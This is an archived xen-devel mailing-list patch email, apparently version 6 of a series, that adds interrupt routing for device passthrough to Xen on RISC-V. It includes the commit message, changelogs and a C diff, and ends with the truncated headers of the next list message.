	El4rnPIJ2EnWVJ1YXadqxF1rzh/S7ch4mELlYZ3RvlORKXYSUEe6s2kAb8lNK9NzKNnWeWFnGyM
	sqZDklGdN5FgUOhtJkUQzc1B468yenVBU9xPJLOTQ7rH/IsxOY206gHdFIfowhWahXbmMmNikxv
	RccIPOEEB1MDRMaPFrmHMvnS5pmAoc4D9hFzpyI3HrOtpAYbwbiVPSeQDpz+MnOP8IsTH86YBOh
	ujFul1DQFlD3OQHitx8nOlVoDzQpJJlWmtyoMFwf2qKsXqW9WxlCWupbZxEd+k1IKs2Lp9+pyhU
	hbdZFU2KsoysK8E6m8HSMN8oEHy7f8533cfj2rPHgqtwTdEml7t9DYmJZcQujOOSpQ/r4wv9xUA
	RpF8E/8s2L+Os7U4qhAKVXqwQMW62zpckchZM+X06rdy/Eu7+wqX9feo+PRA==
X-Received: by 2002:a05:6000:4712:b0:473:c2ec:7a79 with SMTP id ffacd0b85a97d-47f623bc38bmr16610617f8f.12.1784563246225;
        Mon, 20 Jul 2026 09:00:46 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	"Daniel P. Smith" <dpsmith@apertussolutions.com>
Subject: [PATCH v6 18/23] xen/riscv: implement IRQ routing for device passthrough
Date: Mon, 20 Jul 2026 17:59:59 +0200
Message-ID: <c489a420b1c01c5312773c2e2b51f63d3babf855.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1784563247-583CCCFC-56A9073C/10/73395122804
X-purgate-type: spam
X-purgate-size: 22639

dom0less device passthrough requires granting guest domains access to
device interrupts.  Introduce map_device_irqs_to_domain() to enumerate
a DT node's interrupt properties, skipping those not owned by
the primary interrupt controller (as at the moment I haven't seen usages
of it), and map_irq_to_domain() to grant domain access and configure
Xen's interrupt descriptor accordingly. Sharing IRQ between domains is
rejected.

Both map_irq_to_domain() and map_device_irqs_to_domain() are marked
__overlay_init, mirroring Arm: without CONFIG_OVERLAY_DTB this expands to
__init, so the functions are init-only and need no XSM check; with
CONFIG_OVERLAY_DTB they become runtime-callable, but the only runtime
entry point is dt_overlay_domctl(), which performs the XSM checks at the
domctl layer.  RISC-V does not wire up DT overlay yet, so today these are
strictly __init; if/when overlay support is added, the domctl-level XSM
gating must be added together with it, as on Arm.

route_irq_to_guest() and release_irq() manage irq_desc ownership for
guest-assigned interrupts.  Each assignment carries a small irq_guest
structure as irqaction::dev_id, recording the owning domain and virtual
IRQ number which is 1:1 mapped to physical IRQ number.  A per-domain
vIRQ allocation bitmap (used_irqs in struct vintc), managed by
vintc_reserve_virq(), prevents the same vIRQ being claimed twice.

Host and guest interrupts may differ in some operations (EOI timing in
particular, possibly others): a host IRQ is completed once Xen's handler
runs, whereas a passthrough IRQ must defer the physical completion until
the guest issues its own EOI, otherwise a still-asserted level line would
immediately retrigger and storm.  This affects only the .end callback;
the rest of hw_interrupt_type is shared, hence the separate host and
guest hw_interrupt_type instances.

With APLIC+IMSIC, guest interrupts are delivered directly by hardware
through the IMSIC, bypassing do_IRQ(). The _IRQ_GUEST branch in
do_IRQ() is therefore left as BUG() until a platform without direct
IMSIC delivery is encountered.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v6:
 - size nr_virqs as guest_aplic_num_sources + 1 to reserve APLIC's 1-indexed
   source 0, so the highest source/irq could be reserved.
---
Changes in v5:
 - add early -EINVAL return in route_irq_to_guest() if domain is dying
 - use __clear_bit() instead of clear_bit() in release_guest_irq()
   since desc->lock is already held
 - remove irq_get_domain() wrapper; inline irq_get_guest_info(desc)->d
    at its single call site
 - reword IRQ_GUEST comment in do_IRQ() for clarity
 - move XVFREE(used_irqs) before the switch so it is freed prior to
   variant-specific vintc teardown
 - fix missing space in dt_dprintk() format string split across lines
 - Drop 'inline' for irq_get_guest_info() and leave it only static.
 - Drop xfree(info) from release_guest_irq() to avoid a potential
   dangling-pointer issue with the ->dev_id field. Now that
   'struct irqaction action;' is embedded into 'struct irq_guest',
   'info' will be freed as part of release_irq() at the end.
---
Changes in v4:
 - Update the commit message.
 - Mark map_irq_to_domain() and map_device_irqs_to_domain() as
   __overlay_init (mirroring Arm) and include <xen/dt-overlay.h>.
 - Fix grammar in the controller-skip comment ("IRQ" -> "IRQs").
 - Drop the redundant 'base' local in guest_imsic_make_reg_property();
   use GUEST_IMSIC_S_BASE directly.
 - Rename vintc::irq_nums -> nr_virqs and update all users.
 - Guard domain_vintc_deinit() against a NULL d->arch.vintc.
 - Use smp_rmb() instead of smp_mb() in release_irq()'s wait loop and
   document how it pairs with the spin_unlock() in do_IRQ().
 - In release_guest_irq(), reject live unrouting from a non-dying domain
   (-EBUSY) and clear _IRQ_GUEST under desc->lock so a concurrent
   release for the same IRQ bails out instead of double-freeing 'info'.
 - Tidy spurious whitespace in release_irq()'s spin_lock/unlock calls.
---
Changes in v3:
 - Drop extraneous "to" from "Unable to permit to %pd" message.
 - Move res/irq/rirq to loop scope; use nirq as declaration initializer.
 - Hoist irq_ranges check before the loop (it is loop-invariant).
 - Remove spurious forward declarations (struct dt_device_node, struct
   rangeset) from intc.h; remove all three from setup.h.
 - Use __set_bit() instead of set_bit() in intc_route_irq_to_guest()
   since desc->lock is always held on every write path for desc->status.
 - Use XVFREE() instead of xvfree() in domain_vintc_deinit().
 - Rename allocated_irqs -> used_irqs in struct vintc.
 - Fix dangling desc->action in release_irq()'s !IRQ_HAS_MULTIPLE_ACTION
   path by nulling *action_ptr after saving the action pointer.
 - Use true (not 1) for free_on_release in route_irq_to_guest().
 - Use %pd for domain printing in route_irq_to_guest() error paths.
 - Introduce release_guest_irq() to pair with route_irq_to_guest() and
   plug the irq_guest info leak; call it from domain_vintc_deinit()
   for each vIRQ recorded in used_irqs.
---
Changes in v2:
 - Rework IRQ mapping in more common (similar approach to Arm).
---
---
 xen/arch/riscv/Makefile           |   1 +
 xen/arch/riscv/aplic.c            |   4 +
 xen/arch/riscv/device.c           |  94 ++++++++++++
 xen/arch/riscv/include/asm/intc.h |   9 ++
 xen/arch/riscv/include/asm/irq.h  |   5 +
 xen/arch/riscv/intc.c             |  45 ++++++
 xen/arch/riscv/irq.c              | 238 ++++++++++++++++++++++++++++++
 xen/arch/riscv/vaplic.c           |   9 ++
 8 files changed, 405 insertions(+)
 create mode 100644 xen/arch/riscv/device.c

diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
index 9d8d21b65188..fc6b34661111 100644
--- a/xen/arch/riscv/Makefile
+++ b/xen/arch/riscv/Makefile
@@ -1,6 +1,7 @@
 obj-y += aia.o
 obj-y += aplic.o
 obj-y += cpufeature.o
+obj-y += device.o
 obj-y += domain.o
 obj-y += domain-build.init.o
 obj-$(CONFIG_DOM0LESS_BOOT) += dom0less-build.init.o
diff --git a/xen/arch/riscv/aplic.c b/xen/arch/riscv/aplic.c
index e02d78999b77..fe319041cece 100644
--- a/xen/arch/riscv/aplic.c
+++ b/xen/arch/riscv/aplic.c
@@ -306,9 +306,13 @@ static const hw_irq_controller aplic_xen_irq_type = {
     .set_affinity = aplic_set_irq_affinity,
 };
 
+/* At the moment there is no difference between guest and Xen ops */
+#define aplic_guest_irq_type aplic_xen_irq_type
+
 static const struct intc_hw_operations aplic_ops = {
     .info                = &aplic_info,
     .host_irq_type       = &aplic_xen_irq_type,
+    .guest_irq_type      = &aplic_guest_irq_type,
     .handle_interrupt    = aplic_handle_interrupt,
     .set_irq_type        = aplic_set_irq_type,
 };
diff --git a/xen/arch/riscv/device.c b/xen/arch/riscv/device.c
new file mode 100644
index 000000000000..f54d0fdaa7ab
--- /dev/null
+++ b/xen/arch/riscv/device.c
@@ -0,0 +1,94 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/device_tree.h>
+#include <xen/dt-overlay.h>
+#include <xen/errno.h>
+#include <xen/iocap.h>
+#include <xen/rangeset.h>
+#include <xen/sched.h>
+
+#include <asm/intc.h>
+
+int __overlay_init map_irq_to_domain(struct domain *d, unsigned int irq,
+                                     bool need_mapping, const char *devname)
+{
+    int res;
+
+    res = irq_permit_access(d, irq);
+    if ( res )
+    {
+        printk(XENLOG_ERR "Unable to permit %pd access to IRQ %u\n", d, irq);
+        return res;
+    }
+
+    if ( need_mapping )
+    {
+        /*
+         * Checking the return of vintc_reserve_virq is not
+         * necessary. It should not fail except when we try to map
+         * the IRQ twice. This can legitimately happen if the IRQ is shared.
+         */
+        vintc_reserve_virq(d, irq);
+
+        res = route_irq_to_guest(d, irq, irq, devname);
+        if ( res < 0 )
+        {
+            printk(XENLOG_ERR "Unable to map IRQ%u to %pd\n", irq, d);
+            return res;
+        }
+    }
+
+    dt_dprintk("  - IRQ: %u\n", irq);
+
+    return 0;
+}
+
+int __overlay_init map_device_irqs_to_domain(struct domain *d,
+                                             struct dt_device_node *dev,
+                                             bool need_mapping,
+                                             struct rangeset *irq_ranges)
+{
+    unsigned int i, nirq = dt_number_of_irq(dev);
+
+    if ( irq_ranges )
+        return -EOPNOTSUPP;
+
+    /* Give permission and map IRQs */
+    for ( i = 0; i < nirq; i++ )
+    {
+        int res, irq;
+        struct dt_raw_irq rirq;
+
+        res = dt_device_get_raw_irq(dev, i, &rirq);
+        if ( res )
+        {
+            printk(XENLOG_ERR "Unable to retrieve irq %u for %s\n",
+                   i, dt_node_full_name(dev));
+            return res;
+        }
+
+        /*
+         * Don't map IRQs that have no physical meaning
+         * ie: IRQs whose controller is not APLIC/IMSIC/PLIC.
+         */
+        if ( rirq.controller != dt_interrupt_controller )
+        {
+            dt_dprintk("irq %u not connected to primary controller. Connected to %s\n",
+                       i, dt_node_full_name(rirq.controller));
+            continue;
+        }
+
+        irq = platform_get_irq(dev, i);
+        if ( irq < 0 )
+        {
+            printk("Unable to get irq %u for %s\n", i, dt_node_full_name(dev));
+            return irq;
+        }
+
+        res = map_irq_to_domain(d, irq, need_mapping, dt_node_name(dev));
+        if ( res )
+            return res;
+    }
+
+    return 0;
+}
diff --git a/xen/arch/riscv/include/asm/intc.h b/xen/arch/riscv/include/asm/intc.h
index dad4c5fab08b..2ee5d1533c8e 100644
--- a/xen/arch/riscv/include/asm/intc.h
+++ b/xen/arch/riscv/include/asm/intc.h
@@ -15,6 +15,7 @@ enum intc_variant {
 };
 
 struct cpu_user_regs;
+struct domain;
 struct irq_desc;
 struct kernel_info;
 struct vcpu;
@@ -34,6 +35,9 @@ struct intc_hw_operations {
     /* hw_irq_controller to enable/disable/eoi host irq */
     const struct hw_interrupt_type *host_irq_type;
 
+    /* hw_irq_controller to enable/disable/eoi guest irq */
+    const struct hw_interrupt_type *guest_irq_type;
+
     /* Set IRQ type */
     void (*set_irq_type)(struct irq_desc *desc, unsigned int type);
     /* Set IRQ priority */
@@ -63,6 +67,8 @@ struct vintc_ops {
 };
 
 struct vintc {
+    unsigned int nr_virqs;
+    unsigned long *used_irqs;
     /* Used during domain build only; dropped afterwards. */
     const struct vintc_init_ops *init_ops;
     /* Runtime callbacks used for the lifetime of the guest. */
@@ -76,10 +82,13 @@ void register_intc_ops(const struct intc_hw_init_ops *init_ops);
 void intc_init(void);
 
 void intc_route_irq_to_xen(struct irq_desc *desc, unsigned int priority);
+int intc_route_irq_to_guest(struct irq_desc *desc, unsigned int priority);
 
 void intc_handle_external_irqs(struct cpu_user_regs *regs);
 
 int domain_vintc_init(struct domain *d);
 void domain_vintc_deinit(struct domain *d);
 
+bool vintc_reserve_virq(const struct domain *d, unsigned int virq);
+
 #endif /* ASM__RISCV__INTERRUPT_CONTOLLER_H */
diff --git a/xen/arch/riscv/include/asm/irq.h b/xen/arch/riscv/include/asm/irq.h
index 62648bdc4252..66067747dc0f 100644
--- a/xen/arch/riscv/include/asm/irq.h
+++ b/xen/arch/riscv/include/asm/irq.h
@@ -52,6 +52,11 @@ void init_IRQ(void);
 
 void do_IRQ(struct cpu_user_regs *regs, unsigned int irq);
 
+int route_irq_to_guest(struct domain *d, unsigned int virq,
+                       unsigned int irq, const char *devname);
+
+int release_guest_irq(struct domain *d, unsigned int virq);
+
 #endif /* ASM__RISCV__IRQ_H */
 
 /*
diff --git a/xen/arch/riscv/intc.c b/xen/arch/riscv/intc.c
index f5c8af6ddea4..372c8d3a20f9 100644
--- a/xen/arch/riscv/intc.c
+++ b/xen/arch/riscv/intc.c
@@ -7,7 +7,9 @@
 #include <xen/init.h>
 #include <xen/irq.h>
 #include <xen/lib.h>
+#include <xen/sched.h>
 #include <xen/spinlock.h>
+#include <xen/xvmalloc.h>
 
 #include <asm/aia.h>
 #include <asm/intc.h>
@@ -78,6 +80,22 @@ void intc_route_irq_to_xen(struct irq_desc *desc, unsigned int priority)
     intc_set_irq_priority(desc, priority);
 }
 
+int intc_route_irq_to_guest(struct irq_desc *desc,
+                            unsigned int priority)
+{
+    ASSERT(spin_is_locked(&desc->lock));
+
+    ASSERT(intc_hw_ops->guest_irq_type);
+
+    desc->handler = intc_hw_ops->guest_irq_type;
+    __set_bit(_IRQ_GUEST, &desc->status);
+
+    intc_set_irq_type(desc, desc->arch.type);
+    intc_set_irq_priority(desc, priority);
+
+    return 0;
+}
+
 int __init make_intc_domU_node(struct kernel_info *kinfo)
 {
     const struct vintc *vintc = kinfo->bd.d->arch.vintc;
@@ -101,12 +119,31 @@ int domain_vintc_init(struct domain *d)
         break;
     }
 
+    if ( !ret )
+    {
+        d->arch.vintc->used_irqs =
+            xvzalloc_array(unsigned long,
+                           BITS_TO_LONGS(d->arch.vintc->nr_virqs));
+        if ( !d->arch.vintc->used_irqs )
+            ret = -ENOMEM;
+    }
+
     return ret;
 }
 
 void domain_vintc_deinit(struct domain *d)
 {
     const enum intc_variant variant = intc_hw_ops->info->hw_variant;
+    unsigned int virq;
+
+    if ( !d->arch.vintc )
+        return;
+
+    for ( virq = 0; virq < d->arch.vintc->nr_virqs; virq++ )
+        if ( test_bit(virq, d->arch.vintc->used_irqs) )
+            release_guest_irq(d, virq);
+
+    XVFREE(d->arch.vintc->used_irqs);
 
     switch ( variant )
     {
@@ -118,3 +155,11 @@ void domain_vintc_deinit(struct domain *d)
         break;
     }
 }
+
+bool vintc_reserve_virq(const struct domain *d, unsigned int virq)
+{
+    if ( virq >= d->arch.vintc->nr_virqs )
+        return false;
+
+    return !test_and_set_bit(virq, d->arch.vintc->used_irqs);
+}
diff --git a/xen/arch/riscv/irq.c b/xen/arch/riscv/irq.c
index b5066fc3e981..6e9972e5059d 100644
--- a/xen/arch/riscv/irq.c
+++ b/xen/arch/riscv/irq.c
@@ -12,11 +12,29 @@
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/irq.h>
+#include <xen/sched.h>
 #include <xen/spinlock.h>
+#include <xen/xvmalloc.h>
 
 #include <asm/hardirq.h>
 #include <asm/intc.h>
 
+/*
+ * Describe an IRQ assigned to a guest.
+ *
+ * The irqaction is embedded here (rather than allocated separately with
+ * its dev_id pointing at a standalone struct irq_guest) so that freeing
+ * the action in release_irq() also frees this whole structure in one go.
+ * That avoids the alternative of release_irq()'s caller having to free
+ * dev_id itself (something like in Arm release_guest_irq()).
+ */
+struct irq_guest
+{
+    struct irqaction action;
+    struct domain *d;
+    unsigned int virq;
+};
+
 static irq_desc_t irq_desc[NR_IRQS];
 
 struct irq_desc *irq_to_desc(unsigned int irq)
@@ -198,6 +216,14 @@ void do_IRQ(struct cpu_user_regs *regs, unsigned int irq)
     if ( desc->handler->ack )
         desc->handler->ack(desc);
 
+    if ( desc->status & IRQ_GUEST )
+        /*
+         * With APLIC + IMSIC, guest interrupts bypass Xen and are delivered
+         * directly to the guest. Without IMSIC, interrupts would be trapped
+         * by Xen and would need injecting into the guest here.
+         */
+        panic("unimplemented");
+
     if ( desc->status & IRQ_DISABLED )
         goto out;
 
@@ -227,3 +253,215 @@ void do_IRQ(struct cpu_user_regs *regs, unsigned int irq)
     spin_unlock(&desc->lock);
     irq_exit();
 }
+
+static struct irq_guest *irq_get_guest_info(struct irq_desc *desc)
+{
+    ASSERT(spin_is_locked(&desc->lock));
+    ASSERT(test_bit(_IRQ_GUEST, &desc->status));
+    ASSERT(desc->action != NULL);
+
+    return desc->action->dev_id;
+}
+
+
+void release_irq(unsigned int irq, const void *dev_id)
+{
+    struct irq_desc *desc;
+    unsigned long flags;
+    struct irqaction *action, **action_ptr;
+
+    desc = irq_to_desc(irq);
+
+    spin_lock_irqsave(&desc->lock, flags);
+
+    action_ptr = &desc->action;
+#ifdef CONFIG_IRQ_HAS_MULTIPLE_ACTION
+    for ( ;; )
+    {
+        action = *action_ptr;
+        if ( !action )
+        {
+            printk(XENLOG_WARNING "Trying to free already-free IRQ %u\n", irq);
+            spin_unlock_irqrestore(&desc->lock, flags);
+            return;
+        }
+
+        if ( action->dev_id == dev_id )
+            break;
+
+        action_ptr = &action->next;
+    }
+
+    /* Found it - remove it from the action list */
+    *action_ptr = action->next;
+#else
+    action = *action_ptr;
+    *action_ptr = NULL;
+#endif
+
+    /* If this was the last action, shut down the IRQ */
+    if ( !desc->action )
+    {
+        desc->handler->shutdown(desc);
+        __clear_bit(_IRQ_GUEST, &desc->status);
+    }
+
+    spin_unlock_irqrestore(&desc->lock, flags);
+
+    /*
+     * Wait to make sure it's not being used on another CPU.
+     *
+     * The read barrier pairs with the spin_unlock() in do_IRQ(): once we
+     * observe _IRQ_INPROGRESS cleared, we are guaranteed to also see the
+     * writes do_IRQ() made to desc (e.g. desc->action) before releasing the
+     * lock, so it is safe to free the action below.
+     */
+    do { smp_rmb(); } while ( test_bit(_IRQ_INPROGRESS, &desc->status) );
+
+    if ( action->free_on_release )
+        xvfree(action);
+}
+
+int release_guest_irq(struct domain *d, unsigned int virq)
+{
+    struct irq_desc *desc = irq_to_desc(virq);
+    struct irq_guest *info;
+    unsigned long flags;
+    int ret = -EINVAL;
+
+    spin_lock_irqsave(&desc->lock, flags);
+
+    if ( !test_bit(_IRQ_GUEST, &desc->status) )
+        goto unlock_err;
+
+    info = irq_get_guest_info(desc);
+    if ( d != info->d )
+        goto unlock_err;
+
+    /*
+     * Live IRQ unrouting from a running domain is not supported: the tear-down
+     * drops desc->lock across release_irq()/xvfree() and relies on no
+     * concurrent route_irq_to_guest() being issued for this domain. Only permit
+     * it for a dying domain, where assignment is frozen and no new routes can
+     * appear.
+     */
+    if ( !d->is_dying )
+    {
+        ret = -EBUSY;
+        goto unlock_err;
+    }
+
+    /*
+     * Clear _IRQ_GUEST while still holding the lock so that a concurrent
+     * release_guest_irq() for the same IRQ observes it and bails out, rather
+     * than capturing the same 'info' and double-freeing it below.
+     */
+    __clear_bit(_IRQ_GUEST, &desc->status);
+
+    spin_unlock_irqrestore(&desc->lock, flags);
+
+    release_irq(desc->irq, info);
+
+    return 0;
+
+ unlock_err:
+    spin_unlock_irqrestore(&desc->lock, flags);
+    return ret;
+}
+
+/* Route an IRQ to a specific guest */
+int route_irq_to_guest(struct domain *d, unsigned int virq,
+                       unsigned int irq, const char *devname)
+{
+    struct irqaction *action;
+    struct irq_guest *info;
+    struct irq_desc *desc;
+    unsigned long flags;
+    int retval = 0;
+
+    if ( d->is_dying )
+        return -EINVAL;
+
+    desc = irq_to_desc(irq);
+
+    /*
+     * release_irq() frees this action via xvfree(), relying on action
+     * being the first member of struct irq_guest so that &info->action
+     * coincides with info itself. Guard the layout so a future field
+     * reorder can't silently turn that into a free() of a mid-allocation
+     * pointer.
+     */
+    BUILD_BUG_ON(offsetof(struct irq_guest, action) != 0);
+
+    info = xvmalloc(struct irq_guest);
+    if ( !info )
+        return -ENOMEM;
+
+    info->d = d;
+    info->virq = virq;
+
+    action = &info->action;
+    action->dev_id = info;
+    action->name = devname;
+    action->free_on_release = true;
+
+    spin_lock_irqsave(&desc->lock, flags);
+
+    /*
+     * If the IRQ is already used by someone
+     *  - If it's the same domain -> Xen doesn't need to update the IRQ desc.
+     *  For safety check if we are not trying to assign the IRQ to a
+     *  different vIRQ.
+     *  - Otherwise -> For now, don't allow the IRQ to be shared between
+     *  Xen and domains.
+     */
+    if ( desc->action != NULL )
+    {
+        if ( test_bit(_IRQ_GUEST, &desc->status) )
+        {
+            struct domain *ad = irq_get_guest_info(desc)->d;
+
+            if ( d != ad )
+            {
+                printk(XENLOG_G_ERR "IRQ %u is already used by %pd\n",
+                       irq, ad);
+                retval = -EBUSY;
+            }
+            else if ( irq_get_guest_info(desc)->virq != virq )
+            {
+                printk(XENLOG_G_ERR
+                       "%pd: IRQ %u is already assigned to vIRQ %u\n",
+                       d, irq, irq_get_guest_info(desc)->virq);
+                retval = -EBUSY;
+            }
+        }
+        else
+        {
+            printk(XENLOG_G_ERR "IRQ %u is already used by Xen\n", irq);
+            retval = -EBUSY;
+        }
+        goto out;
+    }
+
+    retval = _setup_irq(desc, 0, action);
+    if ( retval )
+        goto out;
+
+    retval = intc_route_irq_to_guest(desc, IRQ_NO_PRIORITY);
+
+    spin_unlock_irqrestore(&desc->lock, flags);
+
+    if ( retval )
+    {
+        release_irq(desc->irq, info);
+        return retval;
+    }
+
+    return 0;
+
+ out:
+    spin_unlock_irqrestore(&desc->lock, flags);
+    xvfree(info);
+
+    return retval;
+}
diff --git a/xen/arch/riscv/vaplic.c b/xen/arch/riscv/vaplic.c
index e6af63ec59d7..449240c5cd23 100644
--- a/xen/arch/riscv/vaplic.c
+++ b/xen/arch/riscv/vaplic.c
@@ -123,6 +123,15 @@ int domain_vaplic_init(struct domain *d)
 
     vaplic->regs.domaincfg = APLIC_DOMAINCFG_RO;
 
+    /*
+     * APLIC source 0 is reserved; sources are numbered 1..guest_aplic_num_sources
+     * and used directly as indices into used_irqs. Size the bitmap to
+     * guest_aplic_num_sources + 1 so the highest source has a valid slot
+     * (index 0 stays unused). Without the +1, vintc_reserve_virq() can't record
+     * the top source, so domain_vintc_deinit() never releases it.
+     */
+    d->arch.vintc->nr_virqs = guest_aplic_num_sources + 1;
+
     return 0;
 }
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367001.1616892 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQG-0001eF-Sa; Mon, 20 Jul 2026 16:00:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367001.1616892; Mon, 20 Jul 2026 16:00:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqQG-0001bb-C0; Mon, 20 Jul 2026 16:00:52 +0000
Received: by outflank-mailman (input) for mailman id 1367001;
 Mon, 20 Jul 2026 16:00:49 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqQD-0000xR-Fk
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqQC-00CGmJ-Sf
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:48 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4626-bab6-0a2a0a5309dd-0a2a4502b098-36
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:48 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4630-6ca4-0a2a45020019-d155dd29e52f-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:48 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-47f707e5d75so1000345f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:48 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.46
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563248; x=1785168048; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=0DFNH29+Q8LihHAoHP3YTwhdjKQRR0o+D4+cY7ApDEY=;
        b=Be0cQ4TAVQ1Izfwzt3aooyFPi5lI9mlenYWHb0xToLZN+q8KpzOAQ7sgpNncpo2n2i
         6O0paRNDovucsA8DGJX61VkKvPMG5EeN3MlHrX9NBhwmZarG76gBrvirPR8W1YcMDnZ7
         OB5ZJjTGBACd56i9JBsK35w/9C36JpNSGsD1Cahe5qQ/Ra/p2qWmbDHyayAHxs5GAc0p
         toR86hUZoTKKutTX4SFcJxKUna2cDKvH5V8kdVWe6NZ6LllQh6pAirFW0pqIF6vnkFJI
         dAjFy1knFzXkG9jd/aUOpUpIY+gYY70Z0MUvj/A9MZs6Sff/HdbQB51XDfb6UQWu/11p
         /0hA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563248; x=1785168048;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=0DFNH29+Q8LihHAoHP3YTwhdjKQRR0o+D4+cY7ApDEY=;
        b=stJevZ6cbS/YxcJoEubH57p8iWbtbXbNyHPhIlUi5AGrjaNwx+3fA5fPyCOn163JA2
         7mXoyj+R2GdUREXjZEMLS7fEF4vbYxlGd8jvcgOQX3DG+cz6jAMka8srTdYud1iO7Kam
         VuKlg0Zaqxoqd6r/vcWL99pLij0JPZPBYx1WQ+GB6xPG6RDCaZUeEd2Ie4QaSxyDKtEg
         IuDqkVIPBxFJKQPZuD7C2MC00WlVmGMz0izH8i1Zj6udoK7OwMBflHzfaoJcRy4FnuBQ
         dZKZeLxMrxaNkEZ45W/8IP2P4HPv960SxV9f7B+7ktM+HU+Gt4PuTK27LD7kxX9l9Fir
         vf4g==
X-Gm-Message-State: AOJu0YzwH52Z96McCItz0YBa9whcZmTOREZddPjxqrLXc30Z2gvHNDbK
	3yyuj/ORSExT7MgroZckTCpGpVqFGY6meOY1BTbMaoHO/SaS6jrVTXbhQWY6ig==
X-Gm-Gg: AR+sD10n929O/jm8QerItBQjVR2SZCF/xfE4aYGmhZS0/h2H72WOwMS7KPHKNVxjNJA
	XtSZzIQ/n6NoclDr6ZiJzVZJqNEg1qIZTeR+KgFcxBDU5kudhJQKVb/zpa6gMdtqe9PfqpVwqrh
	nQbB9eCsgWqdRBHrmKB9EoXA/GFFiunDxew4Z9sMRic01QYRkEoAWq8d/D3qqFjcUCjl51RsMEs
	zF+JH6mjOKPjTEhL2nFX5D8GPlxrPe3rRRU2A/JgJxAMbitJI/0s3otDa67YpQHi16syV1okOgK
	cI5kpLtKfflgiotOq3RVMDPYAGElxgsGNDdM9x4jzePL6alpDQd+omJU06D/9PjFw5VPW4Tz2Vl
	dk7/bGqkrBHUO1ylKyta7MBg15MkY5d30bo9J3bgC11aRu6rsu5FCSyS44yYqWCZWoFUFbXMlSY
	rYT9BJDU2TTB1JtsrsKQG/PPEKRrx7FKOsRkxZ1Gj95kcehD3HrPmjLkFlOA==
X-Received: by 2002:a05:6000:29c3:b0:47f:6fbd:8a23 with SMTP id ffacd0b85a97d-47f6fbd8f53mr6199152f8f.9.1784563248103;
        Mon, 20 Jul 2026 09:00:48 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
